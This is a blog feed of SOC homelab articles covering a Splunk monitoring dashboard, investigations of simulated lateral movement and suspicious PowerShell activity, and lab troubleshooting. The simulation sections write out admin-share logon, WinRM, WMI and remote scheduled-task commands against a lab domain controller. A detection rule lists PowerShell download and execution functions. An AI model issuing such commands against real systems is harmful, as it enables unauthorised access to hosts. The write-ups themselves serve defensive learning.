Citadel Cybersec

Building a Tier 1 SOC Dashboard in Splunk

Wed, 08 Jul 2026 05:00:00 +0000

Building a Tier 1 SOC Dashboard in Splunk

Designing an Operational Monitoring Dashboard for Authentication, Endpoint, Network, and Threat Hunting Visibility

Introduction

After building my SOC homelab, forwarding logs from Windows endpoints, Active Directory, Sysmon and pfSense into Splunk, I used that data to investigate simulated attacks. Today in my article I will answer a different question:

How would I monitor this environment if I were starting a Tier 1 SOC shift?

Searching Splunk manually for every investigation quickly becomes inefficient. Security analysts rely on dashboards to provide an immediate overview of their environment, highlight suspicious activity and identify systems that require further investigation.

Through this article, I will build a SOC Overview Dashboard in Splunk that brings together authentication events, endpoint telemetry, network activity and threat hunting indicators into a single operational view.

My goal is to create something that resembles what a junior SOC analyst could realistically use at the beginning of a shift.

Why SOC Dashboards Matter

A dashboard should answer a few simple questions within seconds:

Are my systems still sending logs?
Is anyone failing to authenticate unusually often?
Are endpoints behaving normally?
Is there suspicious PowerShell activity?
Is network activity consistent with normal behaviour?
Does anything require immediate investigation?

The dashboard acts as an operational starting point. It helps analysts identify anomalies before pivoting into detailed searches.

SOC Overview Dashboard

Planning the Dashboard Layout

Before creating the panels, I identified the questions I wanted the dashboard to answer: I focused on the information a Tier 1 SOC analyst would typically review at the beginning of a shift. Each panel was designed to support a specific monitoring objective or investigation workflow.

The dashboard contains six major sections:

SOC Health
Authentication Monitoring
Kerberos Activity
Endpoint Activity
Network Activity
Threat Hunting

Each of them answers a specific operational question (listed before).

I also intentionally limited the number of panels. Rather than filling the dashboard with dozens of visualisations, I focused on panels that provide useful information and naturally support investigations.

Using a Search Macro

Most dashboard searches begin with the normalize_soc macro.

Rather than repeating the same field transformations in every search, the macro standardises hostnames, account names and other fields before the query runs. This keeps each search shorter, easier to read and ensures every panel works with consistent data.

The complete macro definition is shown later in this article.

SOC Health

The first thing an analyst should verify is whether telemetry can be trusted. If systems stop sending logs, every other panel becomes unreliable. Before trusting any detection or investigation, analysts need confidence that telemetry is being collected consistently. For this reason, the dashboard starts with several health checks. These include:

Total Events Received

index=*
`normalize_soc`
| search host=$host_filter$
| stats count as "Events Received"

Last Event Received from Each Reporting Host

index=*
`normalize_soc`
| search host=$host_filter$
| stats latest(_time) as LastSeen by host
| convert ctime(LastSeen)
| rename host as Host LastSeen as "Last Event Received"

Event Volume Over Time

index=*
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count

These panels immediately reveal logging failures, disconnected forwarders or sudden drops in telemetry.

Section 1: SOC Health

Authentication Monitoring

Authentication events often provide the earliest indicators of malicious activity. This section focuses on Windows Security events such as successful logons, failed logons and account targeting. The dashboard includes:

Failed Logons Over Time

index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count

Accounts with Most Failed Logons

index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| stats count by Account_Name
| sort -count
| head 10

Failed Logons by Source IP

index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| stats count by Source_Network_Address
| sort -count

A sudden increase in failed authentication attempts against a single account may indicate password spraying, brute-force activity or a misconfigured service account.

Rather than manually searching for Event ID 4625 every time, the dashboard immediately highlights abnormal authentication activity.

Section 2: Authentication Monitoring

Kerberos Activity

In Active Directory environments, Kerberos authentication generates valuable telemetry that helps analysts understand how users authenticate to services. Monitoring ticket activity establishes a baseline for normal behaviour and may reveal unusual authentication patterns that deserve investigation. The dashboard includes:

Kerberos Activity Timeline

index=* (EventCode=4768 OR EventCode=4769 OR EventCode=4771)
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count by EventCode

Top Kerberos Users

index=* (EventCode=4768 OR EventCode=4769)
`normalize_soc`
| search host=$host_filter$
| stats count by Account_Name
| sort -count
| head 10

Most Requested Services

index=* EventCode=4769
`normalize_soc`
| search host=$host_filter$
| stats count by Service_Name
| sort -count

index=* EventCode=5140
`normalize_soc`
| stats count by Share_Name Account_Name
| sort -count

Together, these panels provide a quick overview of authentication activity across the domain and help identify unusual ticket requests or authentication failures.

Section 3: Kerberos Activity

Endpoint Activity

Sysmon provides detailed visibility into endpoint behaviour. For this section, I focused on process creation activity because it is one of the most valuable sources during investigations. The dashboard includes:

PowerShell Timeline

index=* EventCode=1 Image="*powershell.exe"
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count

Top Executed Processes

index=* EventCode=1
`normalize_soc`
| search host=$host_filter$
| top limit=10 Image

Rare Processes

index=* EventCode=1
`normalize_soc`
| search host=$host_filter$
| stats count by Image
| where count<3
| sort count

Although PowerShell is widely used for legitimate administration, it is also one of the most common tools abused by attackers. Monitoring its execution helps identify unusual behaviour that may warrant further investigation.

Displaying PowerShell activity separately allows analysts to quickly recognise unexpected spikes before examining the underlying commands.

Section 4: Endpoint Activity

Network Activity

Network telemetry provides another perspective on endpoint behaviour. Using Sysmon network connection events together with pfSense logs, the dashboard summarises:

Network Connections Over Time

index=* EventCode=3
`normalize_soc`
| timechart span=15m count

Top Destination IP Addresses

index=* EventCode=3
`normalize_soc`
| search host=$host_filter$
| stats count by DestinationIp
| sort -count

Connections to Domain Controller

index=* EventCode=3 DestinationIp=192.168.10.10
`normalize_soc`
| search host=$host_filter$
| timechart span=15m count

Top Communication Pairs

index=* EventCode=3
`normalize_soc`
| search host=$host_filter$
| stats count by SourceIp DestinationIp
| sort -count

Account and Source IP

index=* EventCode=4624 Logon_Type=3
`normalize_soc`
| search host=$host_filter$
| stats count by Account_Name Source_Network_Address
| sort -count

These visualisations help identify unusual communication patterns, reconnaissance activity and unexpected workstation connections.

Section 5: Network Activity

Threat Hunting Views

Rather than limiting the dashboard to monitoring, I also wanted several panels that encourage proactive investigation. These include:

Accounts Targeted from Multiple Source IPs

index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| stats dc(Source_Network_Address) as UniqueSources count by Account_Name
| where UniqueSources>2
| sort -UniqueSources

Failed Logons by Source Host

index=* EventCode=4625
`normalize_soc`
| search host=$host_filter$
| stats count by host Source_Network_Address
| sort -count

Failed Logons by Logon Type

index=* 
EventCode=4625 
`normalize_soc` 
| search host=$host_filter$
| stats count by Logon_Type

Rare Parent–Child Process Relationships

index=* EventCode=1
`normalize_soc`
| search host=$host_filter$
| stats count by ParentImage Image
| where count<3
| sort count

Recently Created Processes

index=* EventCode=1
`normalize_soc`
| search host=$host_filter$
| sort -_time
| table _time host User Image CommandLine

These panels surface behaviours that deserve analyst attention. Even in a small lab environment, they demonstrate the thought process behind threat hunting rather than simply counting events.

Section 6: Threat Hunting

Normalising Data for Accurate Dashboards

While building the dashboard, I discovered several inconsistencies that affected the results.

For example:

Administrator and administrator appeared as different accounts.
pfSense appeared as 192.168.10.1 instead of a hostname.
My Domain Controller appeared under both its original hostname and its renamed hostname.

Although these represented the same systems or accounts, Splunk treated them as separate values. Rather than fixing every dashboard panel individually, I created a reusable search macro that normalises the data before visualisation.

The macro performs tasks such as:

Converting account names to lowercase.
Replacing legacy hostnames with their current names.
Displaying pfSense using a friendly hostname instead of its IP address.

This approach keeps dashboard searches cleaner while ensuring every panel reports consistent results. Data normalisation may seem like a small detail, but accurate visualisations depend on accurate data.

| eval Account_Name=lower(trim(Account_Name))
| eval Source_Name=trim(Source_Name)
| eval Service_Name=trim(Service_Name)
| eval host=trim(host)
| eval host=case(
    host=="192.168.10.1","pfSense",
    host=="WIN-PNR2BHPBOGS","SOC-AD1",
    true(),host)
| eval Source_Name=case(
    Source_Name=="WIN-PNR2BHPBOGS$","SOC-AD1$",
    true(),Source_Name)
| eval Account_Name=case(
    Account_Name=="win-pnr2bhpbogs$","soc-ad1$",
    Account_Name=="win-pnr2bhpbogs$@soc.lab","soc-ad1$@soc.lab",
    true(),Account_Name)
| eval Service_Name=case(
    Service_Name=="WIN-PNR2BHPBOGS$","SOC-AD1$",
    true(),Service_Name)

Dashboard Filters and Drilldowns

To make the dashboard more useful during investigations, I added several interactive controls.

The dashboard includes:

A global time picker
A host selector

Selecting a specific host automatically updates every panel, allowing investigations to focus on a single endpoint without rewriting searches.

I also configured drilldowns for several visualisations.

For example:

Clicking a targeted user opens the related authentication events.
Clicking a destination IP displays the underlying network connections.
Clicking a process shows every execution of that process.
Clicking a host filters the dashboard to that endpoint.

These interactions mirror how analysts pivot between dashboards and raw events during investigations.

Drilldown example where selecting the wevtutil.exe value sends us to a customized, filtered, detailed search, where we can continue our investigation.

Final Thoughts

Building this dashboard changed how I interact with my homelab. Now, at the beginning of every investigation I have a central operational view that immediately answers the most important questions:

Are my systems healthy?
Is authentication behaving normally?
What are my endpoints doing?
Is network activity expected?
What deserves investigation first?

More importantly, building this dashboard forced me to think more like a SOC analyst responsible for monitoring an environment.

What’s Next

With the dashboard complete, I now have a central view of my environment, but dashboards are only one part of a SOC.

The next step is to build a simple incident response workflow. Rather than stopping at visualising suspicious activity, I want to focus on managing alerts, enriching them automatically and documenting investigations in a structured way.

That will be the focus of the next article in this series.

Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk

Thu, 02 Jul 2026 05:00:00 +0000

Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk

Correlating authentication events, Kerberos activity, SMB access, and blocked remote execution attempts in a hardened Active Directory lab environment

Introduction

Authentication and lateral movement activity are among the most common signals investigated in Security Operations Centers (SOC). While isolated authentication failures or administrative share access may appear benign, correlating authentication sequences with Kerberos activity, SMB access, and endpoint execution attempts can reveal credential misuse and early-stage lateral movement behavior.

In this investigation, a realistic Active Directory authentication workflow was simulated, including repeated authentication attempts followed by lateral movement techniques. Several remote execution methods were intentionally blocked due to defensive controls in the lab environment.

The objective of this exercise is not only to simulate attacker behavior, but to demonstrate how SOC analysts can reconstruct intent using telemetry even when execution is prevented.

Environment

Component	Role
Windows 11 Workstation	User endpoint
Active Directory Domain Controller	Identity & authentication
Sysmon	Process and network telemetry
PowerShell Logging	Script visibility
Splunk	Central log correlation
pfSense	Network segmentation and firewall logs

1. Activity Simulation (Attacker Perspective)

1.1 Authentication Attempts

A sequence of authentication attempts was performed against an administrative account.

Failed authentication attempt

net use \\192.168.10.10\C$ /user:soclab\administrator WrongPassword

Successful authentication attempt

net use \\192.168.10.10\C$ /user:soclab\administrator CorrectPassword

Failed logons followed by successful authentication using a privileged account. This sequence is commonly observed during credential validation or password guessing activity.

1.2 Kerberos Authentication Activity

Get-ChildItem \\192.168.10.10\C$

Kerberos authentication confirms the authenticated user can access domain resources.

dir \\192.168.10.10\C$

Copy-Item .\test.txt "\\192.168.10.10\C$\" -Verbose

Access and file transfer via administrative SMB share (C$), commonly used in both legitimate administration and lateral movement.

1.4 Lateral Movement Attempts (Blocked Execution Paths)

Multiple lateral movement techniques were attempted against the Domain Controller:

PowerShell Remoting (WinRM)

Enter-PSSession -ComputerName SOC-AD1 -Credential soclab\administrator

Result: PowerShell Remoting attempt blocked due to endpoint or firewall restrictions.

WMI Remote Execution

Invoke-CimMethod -ComputerName SOC-AD1 `
-ClassName Win32_Process `
-MethodName Create `
-Arguments @{CommandLine="cmd.exe /c whoami"}

Result: WMI remote execution attempt was unsuccessful due to the lab’s security configuration.

Scheduled Task Execution

schtasks /create /s 192.168.10.10 /u soclab\administrator /p DCPassword /sc once /tn "TestTask" /tr "cmd.exe /c whoami" /st 00:00

schtasks /run /s 192.168.10.10 /tn "TestTask"

Result: Remote scheduled task creation blocked, preventing traditional lateral movement via task scheduler.

2. Detection Phase (SOC Investigation)

At this stage, I shifted from activity simulation to log analysis and validation.

1.1 Failed Authentication Activity

index=* EventCode=4625
| table _time Account_Name Workstation_Name Source_Network_Address Status Failure_Reason
| sort _time

Failed authentication events were reviewed to identify potential brute-force or credential validation attempts against privileged accounts. Multiple failed logons were observed originating from the same source host.

1.2 Successful Authentication Activity

index=* (EventCode=4624 OR EventCode=4625)
Logon_Type=3
(Source_Network_Address="192.168.20.10" OR Workstation_Name="SOC-WIN11")
| table _time EventCode Account_Name Workstation_Name Source_Network_Address
| sort _time

A successful authentication event was observed following repeated failed logons from the same source system, indicating a potential credential validation or password guessing pattern.

2.2 Kerberos Validation

index=* (EventCode=4768 OR EventCode=4769)
Account_Name="Administrator*"
Client_Address="::ffff:192.168.20.10"
| table _time EventCode Account_Name Service_Name Client_Address Failure_Code
| sort _time

Kerberos ticket activity was reviewed to confirm whether authentication succeeded and whether service access was requested.

2.3 SMB Access Validation

index=* (EventCode=5140 OR EventCode=5145) Share_Name="*C$*"
| table _time Account_Name Source_Address Share_Name Relative_Target_Name
| sort _time

File Share auditing was enabled on the Domain Controller to determine whether administrative SMB access activity was being properly captured in security telemetry.

After enabling the relevant audit policy, the SMB access activity was re-generated by repeating the administrative share interaction to confirm that Event ID 5140/5145 events were being properly logged and ingested into Splunk.

2.4 Lateral Movement Attempt Investigation (Scheduled Task Path)

Initial network telemetry indicated potential lateral movement activity involving common remote administration and RPC-related ports:

index=* (DestinationPort=5985 OR DestinationPort=445 OR DestinationPort=135)
| table _time host User DestinationIp DestinationPort Image

This prompted an investigation into a possible Scheduled Task-based remote execution attempt.

2.4.1 Source-side execution validation

To confirm whether a Scheduled Task operation was initiated from the workstation, process creation telemetry was reviewed:

index=* EventCode=1 Image="*schtasks.exe"

This confirmed execution of schtasks.exe on the source system (SOC-WIN11), indicating that the attack attempt was initiated locally.

2.4.2 Target-side scheduled task creation validation

Next, scheduled task creation events were searched on the Domain Controller:

index=* EventCode=4698

No scheduled task creation events were observed on the target system.

This indicates that the remote task creation request did not complete successfully.

2.4.3 Task modification and lifecycle validation

To further validate whether any partial task creation or modification occurred, additional task-related events were reviewed:

index=* (EventCode=4702 OR EventCode=4699)

No task modification or update events were identified.

2.4.4 Execution artifact validation

To determine whether any indirect execution occurred (e.g., via task scheduler services), process execution traces were reviewed:

index=* EventCode=1
(CommandLine="*whoami*" AND ParentImage IN ("*taskeng.exe*", "*taskhostw.exe*", "*svchost.exe*"))

No execution artifacts consistent with scheduled task execution were identified.

2.4.5 Target system validation

Finally, process execution on the Domain Controller was directly checked:

index=* host=SOC-AD1 EventCode=1 cmd.exe

No corresponding process execution was observed on the target system.

2.4.6 Investigation outcome

The analysis shows:

schtasks.exe command executed on source workstation
No scheduled task creation observed on the Domain Controller
No task modification or lifecycle events detected
No execution artifacts associated with task-based execution
No evidence of remote process execution was observed on the target system

These findings indicate that the remote Scheduled Task-based lateral movement attempt did not result in execution on the target system, and was effectively blocked by existing security controls.

3. Investigation Summary

By correlating authentication, SMB access, and endpoint telemetry, the following sequence was reconstructed:

Time	Activity
09:24:26	First failed logon (4625)
09:32:59	Successful logon (4624)
09:36:18	Kerberos TGT issued (4768)
09:36:18	Kerberos Service Ticket issued (4769)
-	Lateral movement attempt via WinRM (blocked)
-	WMI execution attempt (blocked)
10:20:45	Scheduled Task execution attempt (blocked)
21:17:21	Administrative Share Access (5140) (re-generated)

4. Findings

Failed authentication using privileged account
Successful authentication shortly afterward
Valid Kerberos ticket issuance
Administrative SMB share access observed
Multiple lateral movement techniques attempted
No single event confirmed lateral movement
Security controls prevented remote execution

Unlike a typical lab where remote execution succeeds, this environment demonstrated multiple lateral movement techniques were attempted but blocked by security controls. However, authentication and SMB telemetry still provided full visibility into intent and attack workflow.

This mirrors real enterprise environments where execution is prevented but attacker intent is still observable

5. MITRE ATT&CK Mapping

Lessons Learned

This investigation demonstrates that even in hardened Active Directory environments where lateral movement techniques are blocked, SOC analysts can still reconstruct attacker intent through authentication patterns, SMB access, and endpoint telemetry.

Rather than relying on successful exploitation, detection engineering focuses on correlating weak signals across identity, network, and endpoint layers to identify malicious intent.

This lab demonstrates not just tool usage, but security architecture awareness:

Understanding why execution fails
Understanding what logs remain
Understanding how SOC analysts still detect activity without “successful attacks”

Investigating Suspicious PowerShell Activity with Splunk

Tue, 23 Jun 2026 05:00:00 +0000

Investigating Suspicious PowerShell Activity with Splunk

Simulating common PowerShell abuse techniques and investigating endpoint telemetry in Splunk

Introduction

In this lab, I simulated suspicious PowerShell activity on a Windows 11 endpoint and investigated the resulting telemetry using Sysmon, PowerShell logging, and Splunk.

The objective was to identify behaviors commonly associated with attacker activity, analyze the resulting logs, and develop a basic detection rule that could be used by a SOC analyst during an investigation.

Environment

Component	Purpose
Windows 11	Endpoint
Sysmon	Process and network telemetry
PowerShell Logging	Script visibility
Splunk	Log aggregation and analysis

Activity Simulation

1. Encoded PowerShell Command

powershell.exe -EncodedCommand ZQBjAGgAbwAgACIAUwBPAEMAIABMAGEAYgAgAFQAZQBzAHQAIgA=

2. Hidden Window Execution

powershell.exe -WindowStyle Hidden -Command "echo 'hidden test'"

3. PowerShell Network Activity

Test-NetConnection 192.168.10.10 -Port 445

Invoke-WebRequest http://192.168.30.10:8000

Detection

1. Finding PowerShell Execution

Using Sysmon Event ID 1 (Process Creation), I searched for PowerShell executions on the endpoint.

index=* EventCode=1 Image="*powershell.exe"
| table _time host User CommandLine ParentImage

2. Hunting for Encoded Commands

Encoded PowerShell commands are commonly used to obscure command content and evade simple detections.

index=* EventCode=1 Image="*powershell.exe"
(CommandLine="*-EncodedCommand*" OR CommandLine="*-enc*")
| table _time host User CommandLine ParentImage

3. Finding Hidden PowerShell Execution

Attackers frequently use hidden PowerShell windows to reduce user visibility and avoid drawing attention to their activity.

index=* EventCode=1 Image="*powershell.exe"
(CommandLine="*-WindowStyle Hidden*" OR CommandLine="*-w hidden*")
| table _time host User CommandLine ParentImage

4: Reviewing Script Block Logging (Event ID 4104)

Sysmon Event ID 1 provides visibility into how PowerShell was launched, including its command-line arguments. However, it does not always reveal the actual PowerShell code that was executed. To inspect the executed code itself, I turned to PowerShell Script Block Logging (Event ID 4104) in the Microsoft-Windows-PowerShell/Operational log.

Using the following search, I reviewed the PowerShell Operational events:

index=* sourcetype="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| table _time host User ScriptBlock Path

The initial encoded PowerShell command executed only a very small script, making it difficult to demonstrate the value of Script Block Logging. To generate richer telemetry, I created a larger PowerShell payload containing several commands and encoded it as Base64.

$script = @'
$lab = "SOC Lab Test"
Get-Date
Get-Process | Select-Object -First 3 Name, Id
Write-Output $lab
'@

$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)
$encoded

I then executed the resulting encoded command:

powershell.exe -EncodedCommand JABsAGEAYgAgAD0AIAAiAFMATwBDACAATABhAGIAIABUAGUAcwB0ACIACgBHAGUAdAAtAEQAYQB0AGUACgBHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMwAgAE4AYQBtAGUALAAgAEkAZAAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABsAGEAYgA=

After running the command, I confirmed that Event ID 4104 was being generated. However, although the raw event clearly contained the executed script, Splunk was not extracting it into a dedicated field. As a result, the ScriptBlock column remained empty, making it difficult to search or build detections based on the executed PowerShell code.

Inspecting the raw event showed that the script was stored inside the Message field:

Creating Scriptblock text (1 of 1):

$lab = "SOC Lab Test"
Get-Date
Get-Process | Select-Object -First 3 Name, Id
Write-Output $lab

ScriptBlock ID:
866c089a-d9e0-4827-ac58-9216f2207326

To make the script contents searchable, I created a custom field extraction in Splunk using the following regular expression:

(?s)Creating Scriptblock text \(\d+ of \d+\):\s*(?<ScriptBlock>.*?)\s*ScriptBlock ID:

This extraction captures everything between “Creating Scriptblock text” and “ScriptBlock ID”, storing the result in a new field named ScriptBlock.

Once the extraction was configured, the executed PowerShell code became directly searchable, allowing me to build detections against the script contents rather than performing text searches against the entire Message field.

During testing, I also observed that a single PowerShell command generated multiple Event ID 4104 entries. Besides logging the decoded script itself, PowerShell also recorded internal script blocks such as prompt, $global:?, and formatting-related code. This occurs because Script Block Logging records every script block compiled by the PowerShell engine, including internal operations performed by the interactive PowerShell session. Understanding this behavior is important during investigations, as not every 4104 event represents user-authored code.

5. Correlating PowerShell and Network Activity

Using Sysmon Event ID 3 (Network Connection), I investigated outbound network connections initiated by PowerShell.

index=* EventCode=3 Image="*powershell.exe"
| table _time host User DestinationIp DestinationPort

SOC Investigation Report

Incident Summary

Suspicious PowerShell activity was detected on a Windows 11 workstation. The activity included encoded command execution, hidden PowerShell execution, and subsequent network connections.

Timeline

2026-06-19 15:25:04 – PowerShell launched
2026-06-19 15:26:50 – Encoded PowerShell command detected
2026-06-19 15:29:43 – Hidden PowerShell execution detected
2026-06-19 15:34:55 – Network connection #1 detected
2026-06-19 15:37:37 – Network connection #2 detected

Improving the Lab

During a later review of my lab, I wanted to take advantage of PowerShell Script Block Logging (Event ID 4104). While the events were being collected successfully, I discovered that Splunk was not extracting the executed PowerShell code into a dedicated field. I created a custom field extraction to expose the script contents, making future detections and investigations significantly easier.

Findings

Process Analysis

The following encoded PowerShell execution was observed:

powershell.exe -EncodedCommand ZQBjAGgAbwAgACIAUwBPAEMAIABMAGEAYgAgAFQAZQBzAHQAIgA=

Encoded PowerShell commands use Base64 encoding to obscure command content. While encoding is not inherently malicious, it is frequently used by attackers to evade basic detections and conceal intent.

A second PowerShell execution attempted to hide the PowerShell window from the user:

powershell.exe -WindowStyle Hidden -Command "echo 'hidden test'"

Hidden execution is commonly observed in malware, administrative scripts, and offensive tooling where visibility is intentionally reduced.

The following network-related PowerShell commands were also executed:

Test-NetConnection 192.168.10.10 -Port 445

This command tests connectivity and is commonly used for troubleshooting and administrative tasks.

Invoke-WebRequest http://192.168.30.10:8000

Invoke-WebRequest is widely used by administrators and automation scripts, but it is also frequently abused by attackers to download payloads, retrieve scripts, or communicate with external resources.

PowerShell Script Analysis

After configuring a custom field extraction for Event ID 4104, I was able to review in Splunk the decoded PowerShell script executed by the PowerShell engine.

$lab = "SOC Lab Test"
Get-Date
Get-Process | Select-Object -First 3 Name, Id
Write-Output $lab

Script Block Logging provides visibility into the PowerShell code after it has been parsed, allowing analysts to inspect the actual commands executed even when PowerShell is launched with encoded input.

Network Analysis

Network activity occurred shortly after PowerShell execution, indicating a relationship between process execution and outbound network connections.

Connection 1

Destination: 192.168.10.10:445

Connection to the Active Directory server over SMB. The observed command suggests legitimate network connectivity testing.

Connection 2

Destination: 192.168.30.10:8000

Connection initiated through Invoke-WebRequest. While benign in this lab environment, similar activity may warrant further investigation in a production environment because attackers frequently use PowerShell for web-based payload retrieval and command execution.

Severity Assessment

Medium

Encoded PowerShell execution, hidden execution parameters, and associated network activity are all techniques commonly observed during attacker operations.

Although the activity in this investigation was generated as part of a controlled lab exercise, similar behavior in a production environment would warrant analyst review to determine user intent and identify potential malicious activity.

Recommended Actions

Validate user intent and business justification.
Review PowerShell command content.
Investigate related process activity.
Examine network connections initiated by PowerShell.
Search for similar executions across other endpoints.
Review parent-child process relationships for signs of suspicious execution chains.

Detection Rules

Suspicious PowerShell Execution Parameters

This detection identifies PowerShell executions containing encoded commands or hidden execution parameters.

index=* EventCode=1 Image="*powershell.exe"
(CommandLine="*-EncodedCommand*"
OR CommandLine="*-WindowStyle Hidden*")
| stats count by host User CommandLine ParentImage

Suspicious PowerShell Script Blocks

This detection uses PowerShell Script Block Logging (Event ID 4104) to identify commonly abused PowerShell functions within executed script blocks.

index=* sourcetype="WinEventLog:Microsoft-Windows-PowerShell/Operational"
EventCode=4104
(
ScriptBlock="*Invoke-WebRequest*"
OR ScriptBlock="*Invoke-Expression*"
OR ScriptBlock="*DownloadString*"
OR ScriptBlock="*FromBase64String*"
OR ScriptBlock="*Net.WebClient*"
)
| stats count by host User ScriptBlock

Together, these detections combine Sysmon process telemetry with PowerShell Operational logging, improving visibility into both how PowerShell was launched and what code it executed.

MITRE ATT&CK Mapping

The simulated activity aligns with several MITRE ATT&CK techniques commonly observed during investigations:

T1059.001 – PowerShell Execution of PowerShell commands on the endpoint.
T1027 – Obfuscated/Encoded Files and Information Use of the -EncodedCommand parameter to conceal command content.
T1105 – Ingress Tool Transfer Use of Invoke-WebRequest to retrieve content over HTTP.

While the activity in this lab was benign, these techniques are frequently observed in real-world attacks and are useful candidates for detection and monitoring.

Lessons Learned

This exercise demonstrated how endpoint telemetry from Sysmon and PowerShell logging can be correlated in Splunk to investigate suspicious activity.

By analyzing process creation events, command-line arguments, parent processes, and network connections, I was able to identify common PowerShell abuse techniques and create a simple detection rule that could assist SOC analysts during triage and investigation.

The lab also reinforced the importance of combining multiple telemetry sources to build context around potentially suspicious behavior rather than relying on a single event in isolation.

6 Real Problems I Solved While Building My SOC Homelab

Wed, 17 Jun 2026 06:00:00 +0000

6 Real Problems I Solved While Building My SOC Homelab

Root Cause Analysis, Fixes and Lessons Learned During My SOC Homelab Deployment

Introduction

Building a SOC homelab is often presented as a straightforward process: install a few virtual machines, configure logging, connect everything to a SIEM, and start investigating events.

In reality, the deployment process involved far more troubleshooting than installation.

Throughout the project I encountered multiple issues affecting log collection, DNS resolution, network segmentation, time synchronization, endpoint visibility, and Splunk ingestion. Each problem required investigation, validation, and remediation before the environment became operational.

This article documents the most valuable challenges I faced and the lessons learned while solving them.

Challenge 1: Missing Sysmon Logs in Splunk

The Problem

After installing Sysmon on both the Active Directory server and the Windows 11 workstation, I expected to see Sysmon events flowing into Splunk.

Instead, only the standard Windows Event Logs were being received.

The following log sources appeared normally:

Security
System
Application
PowerShell

However, Sysmon events were completely absent.

This represented a significant visibility gap because Sysmon provides many of the endpoint telemetry sources commonly used for threat detection and investigations.

Investigation

I started by determining whether the issue originated at the endpoint or somewhere within the logging pipeline.

Using Event Viewer, I confirmed that Sysmon was successfully generating events locally. Since the events existed on the endpoint, I ruled out installation and configuration issues with Sysmon itself.

Sysmon logs visible in Event Viewer

Next, I reviewed the Splunk Universal Forwarder configuration and verified that the Sysmon Operational log channel had been included alongside the Security, System, and Application logs.

Because the standard Windows logs were arriving in Splunk successfully, I eliminated network connectivity and forwarding configuration as likely causes and focused my investigation on permissions affecting access to the Sysmon log source.

Root Cause

The Splunk Universal Forwarder service was running under an account that did not have sufficient permissions to access the Sysmon Operational log channel.

As a result, the forwarder could successfully read standard event logs but could not access Sysmon events.

Resolution

I modified the service configuration and changed the account used by the Splunk Universal Forwarder.

After restarting the service, Sysmon events immediately began appearing in Splunk.

Sysmon logs appearing in Splunk after fix

Validation

After restarting the Splunk Universal Forwarder service, Sysmon events began appearing in Splunk as expected.

I verified the successful ingestion of process creation events and confirmed that new endpoint activity was being captured correctly.

Lesson Learned

When troubleshooting missing logs, it is important to verify:

The events are generated locally.
The collection agent can access the source.
The forwarding process is functioning correctly.
The SIEM is receiving the data.

Visibility problems often originate from permissions rather than application failures.

Challenge 2: Time Synchronization Across Multiple Systems

The Problem

As additional systems were added to the lab, event timestamps became inconsistent.

When reviewing events in Splunk, some records appeared out of sequence even though they were related to the same activity.

This made correlation and timeline analysis difficult.

Investigation

The issue first became apparent while reviewing events in Splunk. Activities that should have appeared sequentially were sometimes displayed out of order, making correlation more difficult.

To identify the source of the problem, I compared timestamps across pfSense, Debian, Windows Server, and Windows 11.

Because the issue affected multiple systems simultaneously, I suspected a configuration inconsistency rather than an isolated clock problem. Reviewing the time settings confirmed differences in synchronization methods and timezone configuration between systems.

Root Cause

The systems were using different synchronization mechanisms and time zone configurations.

Virtualized environments can also introduce clock drift if synchronization is not configured consistently.

Resolution

I standardized:

Time zones
Time synchronization settings
System clocks

After normalizing the configuration across all systems, event timestamps aligned correctly.

All systems synchronized

Lesson Learned

Accurate timestamps are critical for:

Incident investigations
Event correlation
Detection engineering
Threat hunting

A SIEM is only as reliable as the timestamps of the data it receives.

Challenge 3: Designing a Controlled DNS Architecture

The Problem

One of my goals was to emulate a more realistic enterprise environment.

Initially, clients could potentially resolve DNS externally instead of relying on Active Directory.

This would reduce visibility and bypass centralized name resolution.

Investigation

My goal was to ensure that all DNS activity followed a predictable path through the environment.

I reviewed the DNS configuration on the workstation, domain controller, and pfSense firewall and mapped the flow of requests between each component.

This process allowed me to verify where name resolution was occurring and identify any opportunities for clients to bypass the intended DNS architecture.

Resolution

I configured Active Directory as the primary DNS server for all Windows systems.

I then configured DNS forwarding from Active Directory to pfSense.

DNS Forwarder configuration on AD

Finally, I created firewall rules on pfSense to:

Allow DNS traffic to Active Directory
Block DNS traffic to all other DNS destinations

Firewall rule allowing DNS queries from WORKSTATIONS subnet to Active Directory’s IP

Outcome

The resulting architecture ensured:

Centralized DNS visibility
Proper Active Directory functionality
Consistent name resolution
Enterprise-style DNS behavior

Lesson Learned

Security monitoring improves when network services follow predictable and controlled paths.

The more telemetry that can be centralized, the easier investigations become.

Challenge 4: Implementing Network Segmentation and Firewall Policies

The Problem

The initial version of the lab was deployed within a single subnet. While this simplified connectivity, it did not accurately reflect how enterprise environments are typically structured.

A flat network also reduced opportunities to practice firewall management, network troubleshooting, and the analysis of blocked communications.

To create a more realistic environment, I decided to separate the infrastructure into dedicated network segments:

SERVERS — Active Directory and DNS
WORKSTATIONS — User endpoints
SECURITY — Splunk and monitoring infrastructure

After implementing the new subnets, communication between systems immediately stopped working.

Services that had previously functioned without issue, including DNS resolution, Splunk access, and host-to-host communication, began failing.

Investigation

The first step was determining whether the issue originated from routing, firewall policy, or endpoint configuration.

I validated:

Interface assignments within pfSense
IP addressing and gateways on each system
VirtualBox network mappings
Firewall rules on each subnet
Connectivity using ping and service-specific testing

One of the most useful discoveries was that pfSense blocks inter-subnet traffic by default unless explicit firewall rules are created.

To isolate the problem, I temporarily created permissive firewall rules and verified that communication immediately resumed. This confirmed that routing was functioning correctly and that the issue was related to firewall policy.

Root Cause

The newly created network segments had no rules allowing the required traffic between systems.

Although the hosts were correctly configured and could reach their local gateways, pfSense was enforcing segmentation and blocking communications between subnets.

This behavior was expected from a security perspective but required the creation of explicit allow rules for legitimate business traffic.

Resolution

I implemented firewall rules based on the operational requirements of the environment.

